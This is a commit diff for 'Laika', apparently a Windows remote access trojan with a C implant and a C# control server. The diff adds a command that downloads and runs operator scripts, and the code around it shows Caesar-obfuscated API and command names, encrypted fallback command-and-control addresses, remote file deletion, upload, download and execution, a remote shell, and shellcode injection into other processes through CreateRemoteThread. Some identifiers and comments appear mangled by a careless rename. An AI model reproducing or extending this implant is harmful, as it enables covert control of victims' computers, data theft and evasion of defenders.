add: pasm integration, slow shellcode upload & disconnects fix, bot count fix

.gitignore

@@ -6,3 +6,4 @@ x64
 *.bin
 bin
 obj
+packages

Laika.sln

@@ -4,9 +4,17 @@ Microsoft Visual Studio Solution File, Format Version 12.00
 VisualStudioVersion = 17.1.32407.343
 MinimumVisualStudioVersion = 10.0.40219.1
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Laika", "Laika\Laika.vcxproj", "{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}"
+	ProjectSection(ProjectDependencies) = postProject
+		{6365D58B-DF8C-46B2-A93D-78D988A34FE8} = {6365D58B-DF8C-46B2-A93D-78D988A34FE8}
+	EndProjectSection
 EndProject
 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Server\Server.csproj", "{ECBAF9B2-2988-480B-973E-50A6BDC7016E}"
 EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "pasm", "pasm\msvc\pasm.vcxproj", "{6365D58B-DF8C-46B2-A93D-78D988A34FE8}"
+	ProjectSection(ProjectDependencies) = postProject
+		{ECBAF9B2-2988-480B-973E-50A6BDC7016E} = {ECBAF9B2-2988-480B-973E-50A6BDC7016E}
+	EndProjectSection
+EndProject
 Global
 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
 		Debug|Any CPU = Debug|Any CPU
@@ -41,6 +49,18 @@ Global
 		{ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|x64.Build.0 = Release|Any CPU
 		{ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|x86.ActiveCfg = Release|Any CPU
 		{ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|x86.Build.0 = Release|Any CPU
+		{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Debug|Any CPU.ActiveCfg = Debug|x64
+		{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Debug|Any CPU.Build.0 = Debug|x64
+		{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Debug|x64.ActiveCfg = Debug|x64
+		{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Debug|x64.Build.0 = Debug|x64
+		{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Debug|x86.ActiveCfg = Debug|Win32
+		{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Debug|x86.Build.0 = Debug|Win32
+		{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Release|Any CPU.ActiveCfg = Release|x64
+		{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Release|Any CPU.Build.0 = Release|x64
+		{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Release|x64.ActiveCfg = Release|x64
+		{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Release|x64.Build.0 = Release|x64
+		{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Release|x86.ActiveCfg = Release|Win32
+		{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Release|x86.Build.0 = Release|Win32
 	EndGlobalSection
 	GlobalSection(SolutionProperties) = preSolution
 		HideSolutionNode = FALSE

Laika/Laika.vcxproj

@@ -74,6 +74,7 @@
     <LinkIncremental>true</LinkIncremental>
     <OutDir>..\bin\</OutDir>
     <IntDir>..\obj\</IntDir>
+    <LibraryPath>$(SolutionDir)pasm/bin;../pasm/bin;$(LibraryPath)</LibraryPath>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     <LinkIncremental>true</LinkIncremental>
@@ -84,11 +85,13 @@
     <EnableMicrosoftCodeAnalysis>false</EnableMicrosoftCodeAnalysis>
     <OutDir>..\bin\</OutDir>
     <IntDir>..\obj\</IntDir>
+    <LibraryPath>$(SolutionDir)pasm/bin;../pasm/bin;$(LibraryPath)</LibraryPath>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
     <LinkIncremental>true</LinkIncremental>
     <OutDir>..\bin\</OutDir>
     <IntDir>..\obj\</IntDir>
+    <LibraryPath>$(SolutionDir)pasm/bin;../pasm/bin;$(LibraryPath)</LibraryPath>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     <LinkIncremental>false</LinkIncremental>
@@ -97,6 +100,7 @@
     <ClangTidyChecks>*</ClangTidyChecks>
     <OutDir>..\bin\</OutDir>
     <IntDir>..\obj\</IntDir>
+    <LibraryPath>$(SolutionDir)pasm/bin;../pasm/bin;$(LibraryPath)</LibraryPath>
   </PropertyGroup>
   <PropertyGroup Label="Vcpkg">
     <VcpkgEnabled>false</VcpkgEnabled>
@@ -117,7 +121,7 @@
     <Link>
       <SubSystem>Console</SubSystem>
       <GenerateDebugInformation>true</GenerateDebugInformation>
-      <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
+      <AdditionalDependencies>pasm.lib;%(AdditionalDependencies)</AdditionalDependencies>
       <IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
       <EntryPointSymbol>main</EntryPointSymbol>
       <ImageHasSafeExceptionHandlers>true</ImageHasSafeExceptionHandlers>
@@ -147,7 +151,7 @@
       <StackReserveSize>
       </StackReserveSize>
       <GenerateMapFile>false</GenerateMapFile>
-      <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
+      <AdditionalDependencies>pasm.lib;%(AdditionalDependencies)</AdditionalDependencies>
       <SectionAlignment>
       </SectionAlignment>
       <AddModuleNamesToAssembly>
@@ -165,11 +169,12 @@
       <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
       <ConformanceMode>true</ConformanceMode>
       <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+      <LanguageStandard>stdcpp20</LanguageStandard>
     </ClCompile>
     <Link>
       <SubSystem>Console</SubSystem>
       <GenerateDebugInformation>true</GenerateDebugInformation>
-      <AdditionalDependencies>msvcrt.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <AdditionalDependencies>pasm.lib;msvcrt.lib;%(AdditionalDependencies)</AdditionalDependencies>
     </Link>
   </ItemDefinitionGroup>
   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
@@ -178,18 +183,19 @@
       <FunctionLevelLinking>true</FunctionLevelLinking>
       <IntrinsicFunctions>true</IntrinsicFunctions>
       <SDLCheck>true</SDLCheck>
-      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <PreprocessorDefinitions>NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
       <ConformanceMode>true</ConformanceMode>
       <Optimization>Disabled</Optimization>
       <FavorSizeOrSpeed>Neither</FavorSizeOrSpeed>
       <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+      <LanguageStandard>stdcpp20</LanguageStandard>
     </ClCompile>
     <Link>
       <SubSystem>Console</SubSystem>
       <EnableCOMDATFolding>true</EnableCOMDATFolding>
       <OptimizeReferences>true</OptimizeReferences>
       <GenerateDebugInformation>true</GenerateDebugInformation>
-      <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
+      <AdditionalDependencies>pasm.lib;%(AdditionalDependencies)</AdditionalDependencies>
       <IgnoreAllDefaultLibraries>
       </IgnoreAllDefaultLibraries>
       <RandomizedBaseAddress>false</RandomizedBaseAddress>

Laika/file_explorer.c

@@ -72,7 +72,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
         // Add the file/folder name to the array
         if (numFound >= maxFiles) {
             maxFiles *= 2;
-            fileList = (char**)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, fileList, maxFiles * sizeof(char*));
+            fileList = (char**)Api.Heaprealloc_(_crt_heap, HEAP_ZERO_MEMORY, fileList, maxFiles * sizeof(char*));
         }
         fileList[numFound] = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, strlen(fileName) + 1);
         strcpy(fileList[numFound], fileName);
@@ -95,10 +95,10 @@ char* get_file_list(const char* dirPath, int* numFiles) {
         if (i < numFound - 1) {
             strcat(fileNames, "/");
         }
-        Api.HeapFree(_crt_heap, 0, fileList[i]);
+        Api.Heapfree_(_crt_heap, 0, fileList[i]);
     }
 
-    Api.HeapFree(_crt_heap, 0, fileList);
+    Api.Heapfree_(_crt_heap, 0, fileList);
 
     // Set the numFiles parameter to the number of files/folders found
     *numFiles = numFound;
@@ -186,7 +186,7 @@ int download_file(HANDLE fp, SOCKET sock) {
                     FD_SET(sock, &write_fds);
 
                     if (Api.select(sock + 1, NULL, &write_fds, NULL, NULL) == SOCKET_ERROR) {
-                        Api.HeapFree(_crt_heap, 0, data);
+                        Api.Heapfree_(_crt_heap, 0, data);
                         Api.CloseHandle(fp);
                         Sleep_(Sleep_TIME);
                         return 0;
@@ -194,7 +194,7 @@ int download_file(HANDLE fp, SOCKET sock) {
                 }
                 else {
 					Api.send(sock, "<Laika:EOF>", strlen("<Laika:EOF>"), 0);
-                    Api.HeapFree(_crt_heap, 0, data);
+                    Api.Heapfree_(_crt_heap, 0, data);
                     Api.CloseHandle(fp);
                     Sleep_(Sleep_TIME);
                     return 0;
@@ -209,7 +209,7 @@ int download_file(HANDLE fp, SOCKET sock) {
 
 	Api.send(sock, "<Laika:EOF>", strlen("<Laika:EOF>"), 0);
     Api.CloseHandle(fp);
-    Api.HeapFree(_crt_heap, 0, data);
+    Api.Heapfree_(_crt_heap, 0, data);
 
     return 1;
 }
@@ -239,7 +239,7 @@ void upload_file(SOCKET sock, HANDLE file_handle) {
     }
 
     // Close the file handle
-    Api.HeapFree(_crt_heap, 0, buffer);
+    Api.Heapfree_(_crt_heap, 0, buffer);
 
     return;
 }
@@ -253,7 +253,7 @@ char* upload_file_to_mem(SOCKET sock, size_t *total_bytes) {
     int num_bytes = 0;
     size_t buffer_capacity = BUFFER_SIZE;
 
-    int iOptVal = 5000;
+    int iOptVal = 500;
     int iOptLen = sizeof(int);
 
     Api.setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&iOptVal, iOptLen);
@@ -262,13 +262,13 @@ char* upload_file_to_mem(SOCKET sock, size_t *total_bytes) {
     while ((num_bytes = Api.recv(sock, buffer + *total_bytes, BUFFER_SIZE, 0)) > 0 || (num_bytes == -1 && Api.WSAGetLastError() == WSAEWOULDBLOCK)) {
         if (num_bytes > 0) {
             *total_bytes += num_bytes;
-            // Reallocate the buffer if necessary
+            // realloc_ate the buffer if necessary
             if (*total_bytes + BUFFER_SIZE > buffer_capacity) {
                 buffer_capacity *= 2;
-                char* new_buffer = (char*)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, buffer, buffer_capacity);
+                char* new_buffer = (char*)Api.Heaprealloc_(_crt_heap, HEAP_ZERO_MEMORY, buffer, buffer_capacity);
                 if (!new_buffer) {
-                    Api.HeapFree(_crt_heap, 0, buffer);
+                    Api.Heapfree_(_crt_heap, 0, buffer);
-                    return NULL; // Memory reallocation failed
+                    return NULL; // Memory realloc_ation failed
                 }
                 buffer = new_buffer;
             }
@@ -277,11 +277,11 @@ char* upload_file_to_mem(SOCKET sock, size_t *total_bytes) {
 
     buffer[*total_bytes] = '\0';
 
-    // Reallocate to the exact size of the received data
+    // realloc_ate to the exact size of the received data
-    char* final_buffer = (char*)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, buffer, *total_bytes);
+    char* final_buffer = (char*)Api.Heaprealloc_(_crt_heap, HEAP_ZERO_MEMORY, buffer, *total_bytes);
     if (!final_buffer) {
-        Api.HeapFree(_crt_heap, 0, buffer);
+        Api.Heapfree_(_crt_heap, 0, buffer);
-        return NULL; // Memory reallocation failed
+        return NULL; // Memory realloc_ation failed
     }
 
     return final_buffer;

Laika/libc.c

@@ -19,6 +19,16 @@ char* strcpy_(char* dest, const char* src) {
 	return dest;
 }
 
+char* strncpy_(char* dest, const char* src, size_t n) {
+    size_t i = 0;
+
+    for (; i < n && src[i] != 0; i++)
+        dest[i] = src[i];
+    for (; i < n; i++)
+        dest[i] = 0;
+    return dest;
+}
+
 void *memset_(void* a, int val, size_t size) {
 	if (a == NULL)
 		return NULL;
@@ -168,6 +178,56 @@ wchar_t* wcsstr_(const wchar_t* haystack, const wchar_t* needle) {
     return NULL;
 }
 
+char** split_lines(const char* fileContent, int* lineCount) {
+    int lines = 0;
+    const char* start = fileContent;
+    const char* end = fileContent;
+    char** result = NULL;
+
+    while (*end != '\0') {
+        if (*end == '\n') {
+            int lineLength = end - start + 1;
+
+            if (result == NULL) {
+                result = Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, sizeof(char*) * (lines + 1));
+            }
+            else {
+                result = Api.Heaprealloc_(_crt_heap, HEAP_ZERO_MEMORY, result, sizeof(char*) * (lines + 1));
+            }
+
+            result[lines] = Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, lineLength + 1);
+            strncpy_(result[lines], start, lineLength);
+            result[lines][lineLength] = '\0';
+            lines++;
+
+            if (*end == '\r' && *(end + 1) == '\n') {
+                end++;
+            }
+            else if (*end == '\n' && *(end + 1) == '\r') {
+                end++;
+            }
+
+            start = end + 1;
+        }
+        end++;
+    }
+    if (start != end) {
+        int lineLength = end - start;
+        if (result == NULL) {
+            result = Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, sizeof(char*) * (lines + 1));
+        }
+        else {
+            result = Api.Heaprealloc_(_crt_heap, HEAP_ZERO_MEMORY, result, sizeof(char*) * (lines + 1));
+        }
+        result[lines] = Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, lineLength + 1);
+        strncpy_(result[lines], start, lineLength);
+        result[lines][lineLength] = '\0';  // Null-terminate the line
+        lines++;
+    }
+    *lineCount = lines;
+    return result;
+}
+
 void* my_GetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
 	if (hModule == NULL) {
 		return NULL;

Laika/libc.h

@@ -12,5 +12,6 @@ size_t mbstowcs_(wchar_t* dest, const char* src, size_t n);
 size_t wcstombs_(char* dest, const wchar_t* src, size_t n);
 int wcscmp_(const wchar_t* s1, const wchar_t* s2);
 wchar_t* wcsstr_(const wchar_t* haystack, const wchar_t* needle);
+char** split_lines(const char* fileContent, int* lineCount);
 void* my_GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
 void* get_ntfunction(const char* func);

Laika/main.c

@@ -1,4 +1,5 @@
 #include "libc.h"
+#include "../pasm/include/pasm.h"
 
 #include <Windows.h>
 #include <wininet.h>
@@ -8,6 +9,7 @@
 #include "utils.h"
 #include "config.h"
 #include "resolve_apis.h"
+#include "libc.h"
 #include "file_explorer.h"
 
 #define SHELLCODE
@@ -50,7 +52,7 @@ DWORD WINAPI redirect_i_thread(LPVOID lpParameter) {
 		}
 	}
 
-	Api.HeapFree(_crt_heap, 0, buffer);
+	Api.Heapfree_(_crt_heap, 0, buffer);
 	return 0;
 }
 
@@ -86,7 +88,7 @@ DWORD WINAPI redirect_o_thread(LPVOID lpParameter) {
 			}
 		}
 	}
-	Api.HeapFree(_crt_heap, 0, buffer);
+	Api.Heapfree_(_crt_heap, 0, buffer);
 	return 0;
 }
 
@@ -162,7 +164,7 @@ retry:
 		serv = 0;
 	}
 
-	//on fait une copie de l'ip chiffr<66>e, puis on la free
+	//on fait une copie de l'ip chiffr<66>e, puis on la free_
 	//<2F>a <20>vite qu'elle reste dans la m<>moire trop longtemps
 	//<2F>a <20>vite aussi qu'on utilise CAESAR_DECRYPT sur une ip d<>j<EFBFBD> d<>crypt<70>e
 	size_t len = strlen(fallback_servers[serv]);
@@ -171,7 +173,7 @@ retry:
 
 	server.sin_addr.s_addr = Api.inet_addr(CAESAR_DECRYPT(Tmp));
 
-	Api.HeapFree(_crt_heap, 0, Tmp);
+	Api.Heapfree_(_crt_heap, 0, Tmp);
 
 	server.sin_port = Api.htons(fallback_servers_ip[serv]);
 
@@ -211,14 +213,14 @@ retry:
 			if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
 			{
 				//recv failed
-				Api.HeapFree(_crt_heap, 0, path);
+				Api.Heapfree_(_crt_heap, 0, path);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
 
 			Api.DeleteFileA(CAESAR_DECRYPT(path));
 
-			Api.HeapFree(_crt_heap, 0, path);
+			Api.Heapfree_(_crt_heap, 0, path);
 		}
 
 		if (strncmp_(server_reply, "ijqdinw", strlen("ijqdinw")) == 0) { //del_dir
@@ -228,7 +230,7 @@ retry:
 			if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
 			{
 				//recv failed
-				Api.HeapFree(_crt_heap, 0, path);
+				Api.Heapfree_(_crt_heap, 0, path);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
@@ -237,8 +239,8 @@ retry:
 
 			delete_folder(wstr);
 
-			Api.HeapFree(_crt_heap, 0, (LPWSTR)wstr);
+			Api.Heapfree_(_crt_heap, 0, (LPWSTR)wstr);
-			Api.HeapFree(_crt_heap, 0, path);
+			Api.Heapfree_(_crt_heap, 0, path);
 		}
 
 		if (strncmp_(server_reply, "ljydtgodnskt", strlen("ljydtgodnskt")) == 0) { //get_obj_info
@@ -248,12 +250,12 @@ retry:
 			if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
 			{
 				//recv failed
-				Api.HeapFree(_crt_heap, 0, path);
+				Api.Heapfree_(_crt_heap, 0, path);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
 			char infos = get_obj_info(CAESAR_DECRYPT(path));
-			Api.HeapFree(_crt_heap, 0, path);
+			Api.Heapfree_(_crt_heap, 0, path);
 			if (Api.send(sock, &infos, 1, 0) < 0) {
 				//send failed
 				Sleep_(Sleep_TIME);
@@ -268,12 +270,12 @@ retry:
 
 			if (Api.send(sock, drives, strlen(drives), 0) < 0) {
 				//send failed
-				Api.HeapFree(_crt_heap, 0, drives);
+				Api.Heapfree_(_crt_heap, 0, drives);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
 
-			Api.HeapFree(_crt_heap, 0, drives);
+			Api.Heapfree_(_crt_heap, 0, drives);
 		}
 
 		if (strncmp_(server_reply, "j}jhzyj", strlen("j}jhzyj")) == 0) { //execute
@@ -286,7 +288,7 @@ retry:
 			memset_(&pi, 0, sizeof(pi));
 
 			if (Api.recv(sock, path, MAX_PATH, 0) <= 0) {
-				Api.HeapFree(_crt_heap, 0, path);
+				Api.Heapfree_(_crt_heap, 0, path);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
@@ -304,7 +306,7 @@ retry:
 				&pi          // Pointer to PROCESS_INFORMATION structure
 			);
 
-			Api.HeapFree(_crt_heap, 0, path);
+			Api.Heapfree_(_crt_heap, 0, path);
 		}
 
 #ifdef SHELLCODE
@@ -313,7 +315,7 @@ retry:
 
 			if (Api.recv(sock, arch, 2, 0) <= 0) {
 				//send failed
-				Api.HeapFree(_crt_heap, 0, arch);
+				Api.Heapfree_(_crt_heap, 0, arch);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
@@ -335,11 +337,11 @@ retry:
 				proc = FindProcessByArch(L"x64");
 			}
 
-			Api.HeapFree(_crt_heap, 0, arch);
+			Api.Heapfree_(_crt_heap, 0, arch);
 
 			if (proc == NULL) {
 				Api.send(sock, "fail", strlen("fail"), 0);
-				Api.HeapFree(_crt_heap, 0, file);
+				Api.Heapfree_(_crt_heap, 0, file);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
@@ -347,7 +349,7 @@ retry:
 			LPVOID addr = Api.VirtualAllocEx(proc, NULL, fsize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 			if (addr == NULL) {
 				Api.send(sock, "fail", strlen("fail"), 0);
-				Api.HeapFree(_crt_heap, 0, file);
+				Api.Heapfree_(_crt_heap, 0, file);
 				Api.CloseHandle(proc);
 				Sleep_(Sleep_TIME);
 				goto retry;
@@ -355,7 +357,7 @@ retry:
 
 			if (Api.WriteProcessMemory(proc, addr, file, fsize, NULL) == 0) {
 				Api.send(sock, "fail", strlen("fail"), 0);
-				Api.HeapFree(_crt_heap, 0, file);
+				Api.Heapfree_(_crt_heap, 0, file);
 				Api.CloseHandle(proc);
 				Sleep_(Sleep_TIME);
 				goto retry;
@@ -364,13 +366,13 @@ retry:
 			HANDLE hThread = Api.CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
 			if (hThread == NULL) {
 				Api.send(sock, "fail", strlen("fail"), 0);
-				Api.HeapFree(_crt_heap, 0, file);
+				Api.Heapfree_(_crt_heap, 0, file);
 				Api.CloseHandle(proc);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
 
-			Api.HeapFree(_crt_heap, 0, file);
+			Api.Heapfree_(_crt_heap, 0, file);
 			Api.CloseHandle(proc);
 			Api.CloseHandle(hThread);
 			Api.send(sock, "ok", strlen("ok"), 0);
@@ -384,8 +386,8 @@ retry:
 			if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
 			{
 				//recv failed
-				Api.HeapFree(_crt_heap, 0, file_list);
+				Api.Heapfree_(_crt_heap, 0, file_list);
-				Api.HeapFree(_crt_heap, 0, path);
+				Api.Heapfree_(_crt_heap, 0, path);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
@@ -394,8 +396,8 @@ retry:
 			file_list = get_file_list(CAESAR_DECRYPT(path), &num_files);
 
 			if (file_list == NULL) {
-				Api.HeapFree(_crt_heap, 0, file_list);
+				Api.Heapfree_(_crt_heap, 0, file_list);
-				Api.HeapFree(_crt_heap, 0, path);
+				Api.Heapfree_(_crt_heap, 0, path);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
@@ -403,13 +405,13 @@ retry:
 
 			if (Api.send(sock, file_list, strlen(file_list), 0) < 0) {
 				//send failed
-				Api.HeapFree(_crt_heap, 0, file_list);
+				Api.Heapfree_(_crt_heap, 0, file_list);
-				Api.HeapFree(_crt_heap, 0, path);
+				Api.Heapfree_(_crt_heap, 0, path);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
 
-			Api.HeapFree(_crt_heap, 0, path);
+			Api.Heapfree_(_crt_heap, 0, path);
 		}
 
 		if (strncmp_(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file
@@ -419,13 +421,13 @@ retry:
 			if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
 			{
 				//recv failed
-				Api.HeapFree(_crt_heap, 0, path);
+				Api.Heapfree_(_crt_heap, 0, path);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
 
 			HANDLE hFile = Api.CreateFileA(CAESAR_DECRYPT(path), GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
-			Api.HeapFree(_crt_heap, 0, path);
+			Api.Heapfree_(_crt_heap, 0, path);
 
 			if (hFile == NULL)
 			{
@@ -446,7 +448,7 @@ retry:
 			if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
 			{
 				//recv failed
-				Api.HeapFree(_crt_heap, 0, path);
+				Api.Heapfree_(_crt_heap, 0, path);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
@@ -455,17 +457,17 @@ retry:
 
 			HANDLE file_handle = Api.CreateFileW(wstr, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
 			if (file_handle == INVALID_HANDLE_VALUE) {
-				Api.HeapFree(_crt_heap, 0, path);
+				Api.Heapfree_(_crt_heap, 0, path);
-				Api.HeapFree(_crt_heap, 0, (LPWSTR)wstr);
+				Api.Heapfree_(_crt_heap, 0, (LPWSTR)wstr);
 				goto retry;
 			}
 
-			Api.HeapFree(_crt_heap, 0, (LPWSTR)wstr);
+			Api.Heapfree_(_crt_heap, 0, (LPWSTR)wstr);
 
 			upload_file(sock, file_handle);
 
 			Api.CloseHandle(file_handle);
-			Api.HeapFree(_crt_heap, 0, path);
+			Api.Heapfree_(_crt_heap, 0, path);
 		}
 
 		if (strncmp_(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell
@@ -591,11 +593,37 @@ retry:
 				goto retry;
 			}
 		}
+
+		if (strncmp_(server_reply, "ufxr", strlen("ufxr")) == 0) { //pasm
+			size_t fsize = 0;
+			char* file = upload_file_to_mem(sock, &fsize);
+			if (file == NULL) {
+				Api.send(sock, "fail", strlen("fail"), 0);
+				Sleep_(Sleep_TIME);
+				goto retry;
+			}
+
+			int line_count = 0;
+			char** lines = split_lines(file, &line_count);
+			if (lines == NULL) {
+				Api.send(sock, "fail", strlen("fail"), 0);
+				Api.Heapfree_(_crt_heap, 0, file);
+				Sleep_(Sleep_TIME);
+				goto retry;
+			}
+
+			pasm_run_script(NULL, lines, line_count, sock);
+
+			Api.send(sock, "Qfnpf?%jsi%tk%xhwnuy", strlen("Qfnpf?%jsi%tk%xhwnuy"), 0); //Laika: end of script
+			Api.Heapfree_(_crt_heap, 0, file);
+			if (lines != NULL)
+				Api.Heapfree_(_crt_heap, 0, lines);
+		}
 	}
 	/* Never used
 	Api.closesocket(sock);
 
-	FreeApis();
+	free_Apis();
 	*/
 	return 0;
 }

Laika/resolve_apis.c

@@ -26,8 +26,8 @@ void InitApis() {
 	Api.CreateFileA = (TCreateFileA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqjF"));
 	Api.HeapAlloc = (THeapAlloc)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuFqqth"));
 	Api.HeapCreate = (THeapCreate)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuHwjfyj"));
-	Api.HeapFree = (THeapFree)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuKwjj"));
+	Api.Heapfree_ = (THeapfree_)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuKwjj"));
-	Api.HeapReAlloc = (THeapReAlloc)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuWjFqqth"));
+	Api.Heaprealloc_ = (THeaprealloc_)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuWjFqqth"));
 	Api.CreateFileW = (TCreateFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\"));
 	Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj"));
 	Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj"));

Laika/resolve_apis.h

@@ -51,9 +51,9 @@ typedef HANDLE(WINAPI* TCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_
 typedef HANDLE(WINAPI* TCreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
 typedef BOOL(WINAPI* TCreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
 typedef LPVOID(WINAPI* THeapAlloc)(HANDLE, DWORD, SIZE_T);
-typedef BOOL(WINAPI* THeapFree)(HANDLE, DWORD, LPVOID);
+typedef BOOL(WINAPI* THeapfree_)(HANDLE, DWORD, LPVOID);
 typedef HANDLE(WINAPI* THeapCreate)(DWORD, SIZE_T, SIZE_T);
-typedef LPVOID(WINAPI* THeapReAlloc)(HANDLE, DWORD, LPVOID, SIZE_T);
+typedef LPVOID(WINAPI* THeaprealloc_)(HANDLE, DWORD, LPVOID, SIZE_T);
 typedef BOOL(WINAPI* TDeleteFileA)(LPCSTR);
 typedef BOOL(WINAPI* TFindClose)(HANDLE);
 typedef DWORD(WINAPI* TGetLogicalDrives)(VOID);
@@ -85,8 +85,8 @@ typedef struct ApiList {
 	TCreateProcessA CreateProcessA;
 	TCreateRemoteThread CreateRemoteThread;
 	THeapCreate HeapCreate;
-	THeapFree HeapFree;
+	THeapfree_ Heapfree_;
-	THeapReAlloc HeapReAlloc;
+	THeaprealloc_ Heaprealloc_;
 	THeapAlloc HeapAlloc;
 	TDeleteFileA DeleteFileA;
 	TCreateFileW CreateFileW;
@@ -116,5 +116,7 @@ typedef struct ApiList {
 	TlstrcatW lstrcatW;
 } API;
 
+extern API Api;
+
 void InitApis();
-//void FreeApis(); Never called
+//void free_Apis(); Never called

Laika/shellcode.c

@@ -1,8 +1,6 @@
 #include "shellcode.h"
 #include "libc.h"
 
-extern API Api;
-
 HANDLE FindProcessByArch(const wchar_t* arch)
 {
     STARTUPINFOW si;

Server/App.config

@@ -1,6 +1,14 @@
-<?xml version="1.0" encoding="utf-8" ?>
+<?xml version="1.0" encoding="utf-8"?>
 <configuration>
     <startup> 
         <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />
     </startup>
+  <runtime>
+    <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
+      <dependentAssembly>
+        <assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
+        <bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
+      </dependentAssembly>
+    </assemblyBinding>
+  </runtime>
 </configuration>

Server/BuildMenu.Designer.cs

@@ -53,10 +53,20 @@
             this.button3 = new System.Windows.Forms.Button();
             this.pictureBox1 = new System.Windows.Forms.PictureBox();
             this.label9 = new System.Windows.Forms.Label();
+            this.label10 = new System.Windows.Forms.Label();
+            this.label11 = new System.Windows.Forms.Label();
+            this.label12 = new System.Windows.Forms.Label();
